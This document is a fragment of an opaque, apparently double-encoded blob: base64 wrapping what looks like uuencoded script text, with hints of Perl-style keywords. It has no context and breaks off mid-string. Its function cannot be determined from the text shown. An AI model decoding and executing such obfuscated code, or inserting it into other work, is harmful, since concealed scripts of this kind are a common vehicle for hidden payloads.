IrImBCKSYlUjlXLEIqM0wqKCJgQCgiYEAoImBAKCIhXSJCYEBfKCJgQCgiYEAoJjVMPFZFRigiQEQ4NylHPFJgXT9CYE83QkE8NDIxTTk3NU46Ni1LNyQ1XDclJEQ8JylFOUZFWDtVUSUqNVFTKlJATipCRE8oIkRAXz5QSEAoImBAKCJgQCgiYEAoIiFNPjJgRDtGJVQ8RkVYKCNUQCkjJFsiQmBAKCJgQCgiYEAoImBAKCZVWSgiMUE8RjxALzJgRCxDTCooImBAKCJgQF8oImBAKCJgQDo2OEAqIjFBPEY8QC83WEArVVk8KDJATipCRE8qMiFbIkJgQCgiYEAoImBAKCJgQCgiYEA6NylDODctRSoiKEQ8JlhCKyIoRDtWWURfOTIoTChCMFEoQkRAPTZZTDk3LVMoIkBEO0YlVDxGRVgoJjVRKCIoRDwnKUU5RkVYO1IoQDg2WUQoIjFBPEY8QC83WEArVVk8KDZZSThWTE8qM0wqXygiYEAoImBAKCJgQCgiYEA/MiFFOyctSTlCYEgpJiVSOVJgXT9CYE83RVFgKiJYSioyXEkoJ0wqKCJgQCgiYEAoImBAKCJgQCgiYEAoIjFPO0YxRV88ImBdKCIxTztGMUUuUEhAKCJgQCgiYEAoImBAKCJgQCgiYEApJl1OOSY1UCgjVEApJyFOKCZFRigiMU87RjFFKCY1USgiMU05NzVOOjYtSy5QSEBfKCJgQCgiYEAoImBAKCJgQCgiYEA4RjlVO0YsSChCMU87RjFFPCIoTChCMFEoQkRbIkJgQCgiYEAoImBAKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAXygiYEAoImBAKCJgQCgiIVM6JjVMOyJAQikmXU45JjRCKyJgQikmJVI5UihJLlBIQCgiYEAoImBAKCJgQCgiIV0iQmBAKCJgQCgiYEAoJ1QqKCJgQF8oImBAKCdUKigiYEA/MiFFOyctSTlCYEgpJy1FPEc5QTxGPEAvN1hAK1VZPC5CQE4qU1xJNyIkSCtCTF8qNVFgKiJYSy9SRTw8Uk0uMjQtKzcnLEtfNyNISDclLEsqMl1JKjIhWyJCYEAoImBAKCIhSTlCYEg7JixIKSMkSSgmNVEoJlFDKiIxTTk3NU46Ni1LKjJEQD5QSEAoImBAKCJgQCgiYEQ7NjVVXztGRUM6U1RELSNMKigiYEAoImBAKCJgQCkmRVI4VV1TOTcpVjk3KVM+UjEpNEQtPzhXNVI3Vy1POFZNRT0nVVspVllJOFZMRz8yYF0oIjFNOTc1Tl86Ni1LLlBIQCgiYEAoImBAPzBIQCgiIV0oJjVMPFZFRigiQEQ8VjVSPUYlUjlSYF0/QiFNK1VZPC5CQE4qU1xJNycsSy0jLFMrVkRJKCdMKigiYEBfKCJgQCgiMU05NzVOOjYtSygjVEA5VjVUO0ZFQzpSQEkuUEhAKCJgQCgiYEA7RkVDOlJAQikmVUU9NllJOFZMQiozTCooImBAPzIhRTsnLUk5QmBIXyknLUU8RzlBPEY8QC83WEA7Ml0+NyNISCtCTF8qNVFTKlNgUCw1UVMqUkE8NFJMSTcnLE86MkRAPlBIQCgiYEAoImBAKSZVRT02WUk4VkxALzJgRF8sQ0wqKCJgQCgiYEAoIjFJPEYtPzxWNVI9RjVSPFdMRDI1KSM3Vi1VPEVdUztWLUs5NzFdPlI9Tjo2LUspV1RALzJgRDs2NVU7RkVDOlNMKigiYEBfKCJgQCgiMUk8Ri0/PFY1Uj1GNVI8V0xEMjUpIzdWLVU8RV1TO1YtSzk3MV0+Uj1OO1ZVRSlXVEAvMmBCKSMkQi5QSEAoImBAKCJgQDlGXVI5NiVDXzoiIU0+MmBEOFYlTjg2UEAqJCFDODZZQTo3LEkoJ0wqKCJgQCgiYEAoImBAPFY1TjknKUE9UkBCMkRdKTNCYEQ4ViVOODZQQiozTCooImBAKCJgQF8oJ1QqKCJgQD8wSV0iQElTPTYoQDhGOVU7RixAPlBIQCgmVVkoIjFQPEZFTj0mUEAvMmBEN1VMUDczTCooIiFNPjJgRDlHNU44ViVSOVJgXSgiMT9fNlMlPS5QSEAoJkVGKCJBTT4yYEQ8JkVEKCNUQDlGXVI6UkRAPlBIQCgiYEAoJz1BOjcxUDo2MEgpJyFJOSJQQCwiRFsiQmBAPzIhRTsnLUUoJ0wqXygiYEAoImBAOjY4QComOU88RkxJKCdMKigiYEAoImBAKCJgQDk3QUk9I0wqKCJgQCgiYEAoJ1RAOTZRUzkyIVsiQmBAKCJgQCgiYEAoImBAOjY4QF8qIjFGPTZZQzg3KUcoI1VeKCJdPjwmXVI9Jy1DODZYQCoiWEoqMlxJKCdMKigiYEAoImBAKCJgQCgiYEAoJlVZKCIxSDtXLVQ6N2BdKEIwUShDTCpfKCJgQCgiYEAoImBAKCJgQCgmVVkoJCFQO1cpVDg3LF0qIihSLDIoTChDKFIoQlBCLEMsQisiKFItMihMKEM0UyhCUEIuI2BCKyIoUSwzYEIrIihRXy0jLEIrIihWLUM4VShCRFsiQmBAKCJgQCgiYEAoImBAKCIhTT4yYEgwJiVCOTcpVDgyUEApNyFPPEcxQTdWKUE7RllFPEJEWyJCYEAoImBAKCJgQF8oImBAKCIhRjtXKUU4Ni1IKCZVWSgiMVA7VylUODJgSDAnIU88RzFBPFJEQCgnTCooImBAKCJgQCgiYEAoImBAKCJgQCgmVVkoIjFTOFYlTjxWXUNfOlJgXSgkRS8uQ0kzO1YtSzk3MFouREUuMTUwTS9GWUU9UkEwOTY1UjA2MUQ8QmBdL0JgRDomXVM9JkVQKyIhMDk2NVI0Jl1SPSJgXS9CYEQ8Jl1SXz0mJEwoJSFSO1cxTygjVF4oIj1UOFdgRysiITQ6NlVFO1c1VCgjVF4oIzBJLlBIQCgiYEAoImBAKCJgQCgiYEAoImBAOjY4QCoiMVM4ViVOPFZdQ186UkRAPlBIQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQDwnNVM6ImBIMCYlQjk3KVQ4MlBAKSchTzxHMUEqM0wqKCJgQCgiYEAoImBAKCJgQCgiYEBfKCJgQCgiMVM4ViVOPFZdQzpSVF44VlFPPFY0WyJCYEAoImBAKCJgQCgiYEAoImBAKCIhXSJCYEAoImBAKCJgQCgiYEAoIiFdIkJgQCgiYEAoImBAXygiYEAoIiFJOUJgSDAmJUI5NylUODJEQD5QSEAoImBAKCJgQCgiYEAoImBAKCIhUzk2WUQ8RiVXKiIxKTRELT84VzVSN1ctTzhWTUU9IlBAKEUhMl8yNTktNFQ8QCknIVI6NllUOyJgWjQmXVI9JiVTKCYlQjk3KVQ4NyxaKCQhQThGNVI9JiRCKjNMKigiYEAoImBAKCJgQCgiYEAoJ1RAOTZRUzkyIVtfIkJgQCgiYEAoImBAKCJgQCgiYEAoImBAPFY1TjknKUE9UkBEMjUpIzdWLVU8RV1TO1YtSzk3MEwoRSEyMjU5LTRUPEApJyFSOjZZVDsiYFozRjVOXzonNU04MiFQO1cpVDgyIUE4RjVSPSYkQDlGXUkoJjVOOFZdTj0nKUE5JiROKEJEWyJCYEAoImBAKCJgQCgiYEAoIiFdIkJgQCgiYEAoImBAKCJgQF8/MEgqKCJgQCgiYEAoImBAKCIhRTsnLUk5QmBIKSY5VTtGLUE8RjxALzdYQCtVWUQ7Vz1OOyZdQTklUVMqUkBOKkJFPDxSTEgrQkhJK1JEQD5QSEBfKCJgQCgiYEAoImBAKCIhRzk3MVM9Jl1SOTJAQikjJEIrImBCKSMoQiozTCooImBAKCJgQCgiYEAoImBAPFY1TjknKUE9UkBEMjUpIzdWLVU8RV1TXztWLUs5NzBMKCIpMDRERTYzNS0nKCIxUDxGRU49JlBALkQxTz1WWUw7ViVEKCYxRSgiMFIoIkBELDJEQDBWXU44VlFVK0YxTygyKEkoJkVGKCJARF85Ny1UODcxSTxXMUk4ViVTKjNMKigiYEAoImBAKCJgQCgiYEA/MEgqKCJgQCgiYEAoImBAKCIhRTsnLUk5QmBIKSY5VTtGLUE8RjxALzdYQCtVWUZfPTZRTDwmXVI9Jy1DODZZPDxSTEgrQkhJNycsSyolUUQqUkU8PFJMSDcmMEsqMlxJKCdMKigiYEAoImBAKCJgQCgiYEAoJlVZKCIxSDtXLVQ7RiVNXzkzVEIpIyRCLlBIQCgiYEAoImBAKCJgQCgiYEA7N0RAKSchTzxHMUE6NllJOFZFQTsiYF0oIihELEIoWyJCYEAoImBAKCJgQCgiYEAoIiFNPjJgRF88Jl1SPSYlRjo2WUE7ImBdKCIoRCxSKFsiQmBAKCJgQCgiYEAoImBAKCIhTT4yYEgwJiVCOTcpVDg3LEwoIjVQO1cpVDg1XUI4NllOOTcoSS5QSEBfKCJgQCgiYEAoImBAKCJgQDlGXVI5NiVDOiIhTT4yYEQ8Jl1SPSYkQCoiMVA7VylUODZFTjo2LUk4NlBOK0IxUDtXKVQ4NjlJO0YlTCowSEAoImBAXygiYEAoImBAKCJgQD5QSEAoImBAKCJgQCgiYEAoImBAKCIhTT4yYEQ8Vi1BO0ctTzhWTEAvMiEpM1NIWjRWXUM6VjVULkNJKTNENTQrM1lOOTc8SF80JjVFPEQlRDknKEAvM1hAKSZBTzxXMU44NlVFKyIhMDk2NVI0Jl1SPSJgXS9CYEQ8Jl1SPSYkTCglIVI7VzFPKCNUXigiPVQ4V2BHKyIhNDo2VUVfO1c1VCgjVF4oIzBJLlBIQCgiYEAoImBAKCJgQCgiYEAoIiFJOUJgSCknLUM4NllTO1YtSyoyIVsiQmBAKCJgQCgiYEAoImBAKCJgQCgiYEA8JzVTXzoiYEgwJiVCOTcpVDg3LEwoIjFQO1cpVDgyRFsiQmBAKCJgQCgiYEAoImBAKCJgQCgiYEApJy1DODZZUztWLUsrM1lDOyZdUzkzTCooImBAKCJgQF8oImBAKCJgQCgiYEAoIiFJOUJgSCkmNVM9JiVUOjctVDo2LUE8UkRAPlBIQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQDxWNU45JylBPVJARDI1KSNfN1YtVTxFXVM7Vi1LOTcwTCgiKTA0REU2MzUtJygiMVA8RkVOPSZQQC5FIU88RzFBKCIxUDtXKVQ4MiFBOEY1Uj0mJEA5NlRAKSZBTzxXMU44NlVFXyhCRFsiQmBAKCJgQCgiYEAoImBAKCJgQCgiYEA/MEhAKCJgQCgiYEAoImBAKCJgQCgiIV0iQmBAKCJgQCgiYEAoImBAKCIhXSJCYEAoImBAKCJgQF8oImBAKCIhSTlCYEgwJiVCOTcpVDg3LEkoJ0wqKCJgQCgiYEAoImBAKCJgQCgiYEA8VjVOOScpQT1SQEQyNSkjN1YtVTxFXVM7Vi1LOTcwTCgiKTBfNERFNjM1LScoIjFQPEZFTj0mUEAuRSFPPEcxQTxSIUE4RjVSPSYlUy5CIWA4NilFPEcxQTxSKEkuUEhAKCJgQCgiYEAoImBAKCJgQD8yIUU7Jy1FXygnTCooImBAKCJgQCgiYEAoImBAKCJgQDxWNU45JylBPVJARDI1KSM3Vi1VPEVdUztWLUs5NzBMKEUhMjI1OS00VDxAKSchUjo2WVQ7ImBaM0Y1Tl86JzVNODIhUDtXKVQ4MiFBOEY1Uj0mJEA5Rl1JKCY1TjhWXU49JylBOSYkTihCRFsiQmBAKCJgQCgiYEAoImBAKCIhXSJCYEAoImBAKCJgQCgiYEBfKCdUKiJCYEAoImBAKCJgQCgiYEAoJjVMPFZFRigiQEQ5RzVOOFYlUjlSYF0/QmBPN0c1RDwlUVMqUkBOKkJFPDxSTEg3JjBLKjVRUypSQTw5IkxJXytSREA+UEhAKCJgQCgiYEAoImBAKCJgQCgnKUU9JzVSO0IhVTtGUUU8VyxAKSchQThWXVQ5NyxbIkJgQCgiYEAoImBAKCJgQCgiYEA8Vl1DOlY1VF8qJTFSLCdATCglISY3VEUuMTUwTCglLS8wVE0/MSQ9MjA0VEwoIyRXKjNMKigiYEAoImBAKCJgQCgiYEAoIiFNPjJgRDg2UVY7U1VJO0Y1VDdWJVRfO1ZYSChCMFEoQkRbIkJgQCgiYEAoImBAKCJgQCgiYEA7N0RAKSchTzxHMUEoI1RAKEIwUihDTCooImBAKCJgQCgiYEAoImBAKCIhTT4yYEQ9JjVNXzwmXEAvMmBCKSMsQi5QSEAoImBAKCJgQCgiYEAoImBAKCZVWSgiMVA4Ni1PPSY0WyJCYEAoImBAKCJgQCgiYEAoImBAOzdEQCknIUE4Vl1UOTctRV8uUEhAKCJgQCgiYEAoImBAKCJgQCgmVVkoIjFGOjZUQC8yIVQ6NlVFKCJMQCknMUU7NyFPLlBIQCgiYEAoImBAKCJgQCgiYEAoJlVZKCIxUDg2LU9fPSYkQC8yYFEuUEhAKCJgQCgiYEAoImBAKCJgQCgnPUg6NlFFKCJASCknIUE4Vl1UODJgXS8yYEIsMihJKCI4RigiQEQ8JiVDO1cxRTxSYF0vMmBCXywyKEkqMiFbIkJgQCgiYEAoImBAKCJgQCgiYEAoImBEPCYlQztXMUEoI1RALCIhSTlCYEgqJzFJOzY0QC9DVEApJjlJOzJEQClCOEAqIjFUOTZVUF87UmBBLzJgQiwiKEkqM0wqKCJgQCgiYEAoImBAKCJgQCgiYEAoIjFQODYtTz0mNF0pJylBO0YwQD4iYEQ8RiVOOSIhWCgiMVI4NllELlBIQCgiYEBfKCJgQCgiYEAoImBAKCJgQCknIU88RzFBKCNUQDo2WVQqJylBO0YwQC1DNFAsI2BJKCJMUSgmRUYoIkBEPCZdUj0mJEAvM1RAKENgQiozTCooImBAXygiYEAoImBAKCJgQCgiYEAoJy1FO0YwSDUnKFA+IlBALCJQQCknIUE4Vl1UOTJQQDxWXUM6ViVEOScpPzo2WEgpJyFPPEcxQSsiYEQ4NlFWO1JESV8oJiVOOSJgRDwmJUM7VzFFPFY0SypSIUk5QmBIKSchQThWXVQ5NyxALzNUQChDJEIqM0wqKCJgQCgiYEAoImBAKCJgQCgiIV0iQmBAKCJgQCgiYEBfKCJgQCgiYEA6NjhAKiIxRTxXMUE9JkVTPSZFQzg3LEkiQmBAKCJgQCgiYEAoImBAKCJgQD5QSEAoImBAKCJgQCgiYEAoImBAKCIhUzk2WUQ8RiVXXyoiMSk0RC0/OFc1UjdXLU84Vk1FPSJQQChFITIyNTktNFQ8QCknIVI6NllUOyJgWjcjYFAsRTFFOzchTygmMUUoJSFBOFZdVDk3LTwsI2BSLkJgRF89JjVNPCZcQitCKVMoQkRbIkJgQCgiYEAoImBAKCJgQCgiYEAoJy1FO0YxUjg3PEgpJEUyMFVdQz03KT88Vl1DOlY1VCsiYEI0JSkpNURVMzFSYERfPCcpSTtHMUwoI0k8LCNgUjUmXVQ4NlBAOSY0QDQmJUM7VzFFPFVQUCwjKFooIjFQODYtTz0mNVM5MihJLlBIQCgiYEAoImBAKCJgQCgiYEAoIiFTXzk2WUQ8RiVXKiIxKTRELT84VzVSN1ctTzhWTUU9IlBAKEUhMjI1OS00VDxAKSchUjo2WVQ7ImBaNyNgUCxEJUw9RlxAOSZdUyglIUE4Vl1UOTctPF8sI2BSLkJgRCwyKEkuUEhAKCJgQCgiYEAoImBAKCJgQCgnVCooImBAKCJgQCgiYEAoImBAPzBIKigiYEAoImBAKCJgQCgiYEA5NlFTOjY4QCoiMUZfPTZZQzg3KUcoI1VeKCJdPj02MVA5RiVJPiYlPDxSTEgrQkhJNycsSyolUUQqUkU8PFJMSDcmMEsqMlxJKCdMKigiYEAoImBAKCJgQCgiYEAoIiFSXzk3MVU8RlhAPTZZTDk3LVMoIjFQODYtTz0mNVMuUEhAKCJgQCgiYEAoImBAKCJgQCgnLU84Vk1FPSJBNDxDIVgrIiEwMUVdKTNENTQrIiEzM1QtK183VDEnNEQlLSsiYFEtUkRbIkJgQCgiYEAoImBAKCJgQCgiYEA7N0RAKSY5QTo3QUE6N2BdKEIwUShDTCooImBAKCJgQCgiYEAoImBAKCIhTT4yYERfPCZdUj0mJEAvMmBCKSMoQi5QSEAoImBAKCJgQCgiYEAoImBAKCZVWSgiMVQ5NlVQO1JgXSgiKEQsUihbIkJgQCgiYEAoImBAKCJgQCgiYEA7N0RAXyknIUE4Vl1UOTNMKigiYEAoImBAKCJgQCgiYEAoIiFNPjJgRDwmJUM7VzFFPFNMKigiYEAoImBAKCJgQCgiYEAoIiFNPjJgRDlGRU0oI1RAPSZFTV85MmBLKCIxVDk2VVA7U0wqKCJgQCgiYEAoImBAKCJgQCgiIU0+MmBEPCYlQztXMUEoI1RALDNMKigiYEAoImBAKCJgQCgiYEAoIiFNPjJgRDg2UVZfO1NMKigiYEAoImBAKCJgQCgiYEAoIiFXOiZFTDkyYEgpJyFBOFZdVDgyYF0vMmBCLDIoSSgnTCooImBAKCJgQCgiYEAoImBAKCJgQCgiMVA4Ni1PXz0mJEAvMmBQKCZFRigiQEg9JkVNOTJgXi8yYEQ5RkVNKjJgRilCYEgpJzFFOzchTygiJF0oIihQKEJESS5QSEAoImBAKCJgQCgiYEAoImBAKCJgQF85Rl1SKCJBTT4yYEQ5RiVJPiYkQC8yYFEuUmBEOUYlST4mJEAvI1RALEM0VS5SYEQ5RiVJPiYkSypSREA+UEhAKCJgQCgiYEAoImBAKCJgQCgiYEBfKCJgRDg2UVY7UmBdKCZFTjk3MT84NzFPO0JAQikmOUE6N0FBOjdgTikmOUE6N0FBKEJEWyJCYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiMVA4Ni1PXz0mNF0pJylBO0YwQD4iYEQ8RiVOOSIhWCgiMVI4NllELlBIQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgRDwmXVI9JiRALzIhSTtHMEg8RiVOOSJgVl8tM2BQLCJEQCpTJEA6NjhAKiIxUDtXKVQ4MmBdLzJgQiwiKEkuUEhAKCJgQCgiYEAoImBAKCJgQCgiYEAoIiFTOTZZRColMVIsJ0BMKCNgTCgiMVBfODYtTz0mNEwoJy1POFZNQTkmMVI3VkVOKiIxUDtXKVQ4MlBAKSYlTD1GXEkqMiFBO0YwQCknIUE4Vl1UOTctRSpSTEA6NjhAKiIxUDg2LU89JjVTXygjVF0oIihRKEJEWyJCYEAoImBAKCJgQCgiYEAoImBAKCJgQCgmRUYoIkBEOUYlST4mJEAvQ1RALEM0VSoyIVsiQmBAKCJgQCgiYEAoImBAKCJgQF8oImBAKCJgQCkmOUE6N0FBKCNUQCwzTCooImBAKCJgQCgiYEAoImBAKCJgQCgiYEA/MEhAKCJgQCgiYEAoImBAKCJgQCgiYEA/MEhAKCJgQCgiYEBfKCJgQCgiYEAoJ1QqKCJgQCgiYEAoImBAKCJgQCgiIUk5QmBIKSY1Uz0mJVQ6Ny1UOjYtQTxSRCooImBAKCJgQCgiYEAoImBAKCIhWyJCYEAoImBAXygiYEAoImBAKCJgQCgnLUU7RjFSODc8SCkkRTIwVV1DPTcpPzxWXUM6VjVUKyJgQjQlKSk1RFUzMVJgRDwnKUk7RzFMKCNJPCwjYFI1JjVNPCZcQF85JjRANCYlQztXMUU8VVBQLCMoWigiMVQ5NlVQO1IoTihHLEIqM0wqKCJgQCgiYEAoImBAKCJgQCgiYEA8VjVOOScpQT1SQEQyNSkjN1YtVTxFXVNfO1YtSzk3MEwoIikwNERFNjM1LScoIjFQPEZFTj0mUEAuRVBQLCMpNDtXMUE7IiFEOTIhMDg2LU89JjVTNyNgUCxDSEApJyFBOFZdVDk3LUUoQkRbXyJCYEAoImBAKCJgQCgiYEAoImBAKCctRTtGMVI4NzxIKSRFMjBVXUM9Nyk/PFZdQzpWNVQrImBCNCUpKTVEVTMxUmBEPCcpSTtHMUwoI0k8LCNgUl8wNlFWO1IhRDtXLEA0JiVDO1cxRTxVUFAsIyhaKCIxQTsnOU8oQkRbIkJgQCgiYEAoImBAKCJgQCgiYEA/MEhAKCJgQCgiYEAoImBAKCIhXSJASEBfKCJgQCgiYEAoImBAKCIhRTsnLUk5QmBIKSY5VTtGLUE8RjxALzdYQCtVWUM7VllCODYtSzcnLEsqIlhKKjVRUypSQTw5IkxJK1JEQD5QSEAoImBAXygiYEAoImBAKCJgQCgmVVkoIjFIO1ctVCgjVEAoQjBRKENMKigiYEAoImBAKCJgQCgiYEAoIiFNPjJgRDwmXVI9JiRALzJgQikjKEIuUEhAKCJgQF8oImBAKCJgQCgiYEAoJlVZKCIxUDxGXVQ7UmBdKCY9RT0nIVI7VzFPOEdFTjg2VUUqIj1UOFdgRyozTCooImBAKCJgQCgiYEAoImBAKCIhTT4yYERfOjYlRDknKEAvMiFJO0Y1VDdWJVQ7VlhIKSZBTzxXMEkuUEhAKCJgQCgiYEAoImBAKCJgQCgmVVkoIjFQODYxRDxCYF0oJy1POFZNQTkmMVI3VkVOXyoiMVA7VylUODJQQCkmRUE5JjFSKjNMKigiYEAoImBAKCJgQCgiYEAoIiFNPjJgRDxWQUU7JlBALzJgQitWKUk7Ql1TOiJgTToyKFsiQmBAKCJgQF8oImBAKCJgQCgiYEA6NjhAKiIxPjNSIUU8MmBCMzUtNzo2WFMsQihJKCdMKigiYEAoImBAKCJgQCgiYEAoImBAKCIxUzomNUw7ImBdKCIpQzs2ME5fOTdBRShDTCooImBAKCJgQCgiYEAoImBAKCIhXSJCYEAoImBAKCJgQCgiYEAoImBAPFZdQzpWNVQqJS0vMFRNJTUiUEA0JDk/MjRZJTUiUEA0VF0jXzJVXTM1JSklMDRUTCgiMVA8Rl1UO1JEQDtXKEA5JkVFKCIpUztWLUs5NzBaKCIwQShDTCooImBAKCJgQCgiYEAoImBAKCIhQztWWU45Ni1UKiUtL18wVE0lNSJQQCknIUE5JjFSKjIhTzxCIUQ6NjRAKEYtTztGWUU4VzBaKCIwQShDTCooImBAKCJgQCgiYEAoImBAKCIhTzwmNU4qJS00MSRFLisiYEJfL0I5MzNULSsxNTBCKjNMKigiYEAoImBAKCJgQCgiYEAoIiFPPCY1TiolLTQxJF01NSJQQChDWEY0VF0jMlQ1NChCRFsiQmBAKCJgQCgiYEAoImBAXygiYEA7VyFFO0JBMzUkMSU0RShMKCIoXilFLS8wVE0lNSIoSS5QSEAoImBAKCJgQCgiYEAoImBAKCctWTxXMUU7MkBCKSctSDk2UUwoQkRbIkJgQF8oImBAKCJgQCgiYEAoImBAOFZRTzxWNEg0VTEkMjRYSS5QSEAoImBAKCJgQCgiYEAoImBAKCYtTDtXLUUqJS00MSRdNTUiRFsiQmBAKCJgQCgiYEBfKCJgQCgiYEA4VlFPPFY0SDRVMSQxNSkyKjNMKiJCYEAoImBAKCJgQCgiYEAoImBAOjY4QCoiMUU8VzFBPSZFUz0mRUM4NyxJIkJgQCgiYEAoImBAXygiYEAoImBAPlBIQCgiYEAoImBAKCJgQCgiYEAoIiFTOTZZRDxGJVcqIjEpNEQtPzhXNVI3Vy1POFZNRT0iUEAoRSEyMjU5LTRUPEApJyFSOjZZVF87ImBaNyNgUCxELU87RjVDPSYlTjkmXE08VjRAOTZVPCwjYFIuQmBEOiZdUz0jSEQ8Jl1SPSYkQiozTCooImBAKCJgQCgiYEAoImBAKCIhXSJCYEBfKCJgQCgiYEAoImBAKCdUKiJCYEAoImBAKCJgQCgiYEA5NlFTOjY4QCoiMUY9NllDODcpRygjVV4oIl0+O1ZRRDwmJUM6VVFTKlJATipCRTw8UkxIXzcmMEsqNVFTKlJBPDkiTEkrUkRAPlBIQCgiYEAoImBAKCJgQCgiIVI5NzFVPEZYQD02WUw5Ny1TKCIxUDg2LU89JjVTLlBIQCgiYEAoImBAKCJgQF8oImBAOzdEQCoiMUQ9JkVNOTJQQCk3IUE4Vl1UOTcsSSgjVEA4NzFUODYtSzk3KEgoQjBRKEJQQChCMFIoQlBAKEIwUyhCRFsiQmBAKCJgQCgiYEBfKCJgQCgiYEQ5JzFJOzY0QC8yYFEoJkVGKCIxRD0mRU05MmBdLzJgUC5QSEAoImBAKCJgQCgiYEAoImBAOzdEQCk2KVk9JjVTLlBIQCgiYEAoImBAXygiYEAoImBAKSYpWT0mNVM+VkVHOzchXSgjVEApIyhAKkJgRDwmJUM7VzFFPFdNSTlWVVA/M0wqKCJgQCgiYEAoImBAKCJgQCgiMUI+NzFFPFdNSV84VlVQPzJgXSgiMFIoIkhAKSchQThWXVQ5Ny1bOjYtTTwnVFsiQmBAKCJgQCgiYEAoImBAKCJgRDhHRVQ5Ny1bO1dUQC8yYEQsQmBKKCIxUDg2LU9fPSY1Uz5WXV0uUEhAKCJgQCgiYEAoImBAKCJgQCkmKVk9JjVTPlc1RDwnVEAvMmBELEJgSigiMVA4Ni1PPSY1Uz5XNUQ8J1RbIkJgQCgiYEAoImBAXygiYEAoImBEOEdFVDk3LVs9Ji1QPzJgXSgiMFIoIkhAKSchQThWXVQ5Ny1bPSYtUD8zTCooImBAKCJgQCgiYEAoImBAKCc1TjsmNVM8UmBIKSY1U189JiVUOjctVDo2LUE8UkQqKCJgQCgiYEAoImBAKCJgQCgnTCooImBAKCJgQCgiYEAoImBAKCJgQDxWNU45JylBPVJARDI1KSM3Vi1VPEVdUztWLUtfOTcwTCgiKTA0REU2MzUtJygiMVA8RkVOPSZQQC5FUFAsIyhAKzIhMz0mJVQ9NyxAKzVQUCwjKEIqM0wqKCJgQCgiYEAoImBAKCJgQCgiYEA8VjVOXzknKUE9UkBEMjUpIzdWLVU8RV1TO1YtSzk3MEwoIikwNERFNjM1LScoIjFQPEZFTj0mUEAuRVBQLCMpNDo2VVA3I2BQLENIQCkmMVQ6NlVFKEJYQl88VjVDPTZZRDkyWEIqM0wqKCJgQCgiYEAoImBAKCJgQCgiYEA8VjVOOScpQT1SQEQyNSkjN1YtVTxFXVM7Vi1LOTcwTCgiKTA0REU2MzUtJygiMVBfPEZFTj0mUEAuRVBQLCMpNDtXMUE7IiFQODYtSzk3MTwsI2BSLkJgQitCQEQ8JiVDO1cxRTxXTVU5JyFdKCJMQCknIUE4Vl1UOTctWzo2PU08J1RAXypSYEQ8JiVDO1cxRTxXTUk4VlVQPzJgSygiYEQ8JiVDO1cxRTxXTU8/MkRJLlBIQCgiYEAoImBAKCJgQCgiYEAoIiFTOTZZRDxGJVcqIjEpNEQtP184VzVSN1ctTzhWTUU9IlBAKEUhMjI1OS00VDxAKSchUjo2WVQ7ImBaNyNgUCxFMU89JiVMKCYpWT0mNVM3I2BQLENIQChCWEgpJilZPSY1Uz5WRUNfOzchXSgiTEApJilZPSY1UygnTUk5VlVQPzJgSygiMUI+NzFFPFdNVTknIV0oIkxAKSYpWT0mNVM+Vl1dKjJEWyJCYEAoImBAKCJgQCgiYEAoImBAXygnLUU7RjFSODc8SCkkRTIwVV1DPTcpPzxWXUM6VjVUKyJgQjQlKSk1RFUzMVJgRDwnKUk7RzFMKCNJPCwjYFIxRlFPO1YxPCwjYFIuQmBCK0ZFTl89IkBIKiIxQj43MUU8V01JOFZVUD8yTEQ4R0VUOTctWzo2PU08J1RLKSYpWT0mNVM+VzVEPCdUQCpSYEQ4R0VUOTctWztXVEkrUyRQLEMwSStSMURfPSZFTTkyRE4oQiFLOEchUyhCRFsiQmBAKCJgQCgiYEAoImBAKCIhXSJCYEAoImBAKCJgQCgiYEA/MEhAKCJgQCgiYEAoImBAKCY1WDo3MFsiQmBAXygiYEAoIiFdIkJgQD8wSV0iQElTPTYoQDo3KUM4Ny1FKCdMKigiIU0+MmBIKSZNRTsyUEApJyFSOjZZVDsiUEApJi1BPFY0SSgjVEAwJVxbIkBIQF8oIiFJOUJgSCkmLUE8VjRALzdYQCtVWUo7VkVOKCJATipCRE8qMiFbIkJgQCgiYEA6QkBCKSMkQiozTCooImBAPzBIQCgiIUU7Jy1JOUJgSCkmLUFfPFY0QC83WEArVVlQODcpVCgiQE4qQkRPKjIhWyJCYEAoImBAKCdgSChCMFEoQkRbIkJgQCgnVCooImBAOTZRUzo2OEAqIjFDODctRSgjVV4oIl0+XzxGNUo7VkVONycsSyoiWEoqMlxJKCdMKigiYEAoImBAOzdEQCkmLUg4NlhALzJgRCwzTCooImBAKCJgQDo2OEAqIjFDOiYlTigjVV4oIl0+KiVRRF8qUkRAKiJYSioyXEkoJ0wqKCJgQCgiYEAoIiFGO1coQComVVkoIjFDODJgXSgjJFsoIjFDODJgXC8yYEQsM0xAKSYtQSpSTEAqMiFbIkJgQCgiYEBfKCJgQCgiIVAqIihELEIoSS5QSEAoImBAKCJgQCgiYEA6QkBCKSMoQiozTCooImBAKCJgQCgiIV0iQmBAKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAXygiYEAoIiFQKiIoRDhWQUE7QihJLlBIQCgiYEAoImBAKCJgQDpCQEIpJi1IODZYQiozTCooImBAKCJgQD8wSEAoIiFdIkJgQCgmNUw8VkVGKCJARF84ViVTOTJgXT9CYE83Rl1QK1JEQD5QSEAoImBAKCIhTzwiQEIpJyFSOjZZVDsiKEwoIihEOlY1TShCREA6NjhAKSYtQTxWNEA5NyRAKEZdUChDTCpfKCJgQCgiYEA7N0RAKSZdQTxGPEAvMiFTPTYpUz0nKEgpJi1BPFY0TCgjLEkuUEhAKCJgQCgiIU88IkBCKSMkQisiYEIpIyhCKjIhSTlCYEgpJl1BXzxGPEAvN1hAK1JBPDRSTEk3JyxLKiVRMypSRE8qM0wqKCJgQD8wSEAoIiFFOyctSTlCYEgpJi1BPFY0QC83WEArVVlEOTZdUCtSREA+UEhAKCJgQF8oIiFEOTZdUCoiKEQ8JylJO0cxTChCUEAoQjFLOTZUQioyIUk5QmBEOFYlUzkyIUU8MmBCOSY1TzwiKFsiQmBAKCJgQCgmVVkoIjFPODcpRygjVEBfPFc1QjxXMVIqIjFDODctRSsiYFUqM0wqKCJgQCgiYEA5JjVPPCJAQikjJEIrImBCKSMoQioyIUk5QmBIKSZdQTxGPEAvN1hAK1JBPDRSTEk3JyxLXyolUTMqUkRPKjNMKigiYEA/MEhAKCIhRTsnLUk5QmBIKSYtQTxWNEAvN1hAK1VZVjtWRUM5MlxJKCdMKigiYEAoImBAPUZdSThWNEgoQjFQPEZFTl89JlBCKyJgQikmTUU7MihJKCZFRigiMUM4Ny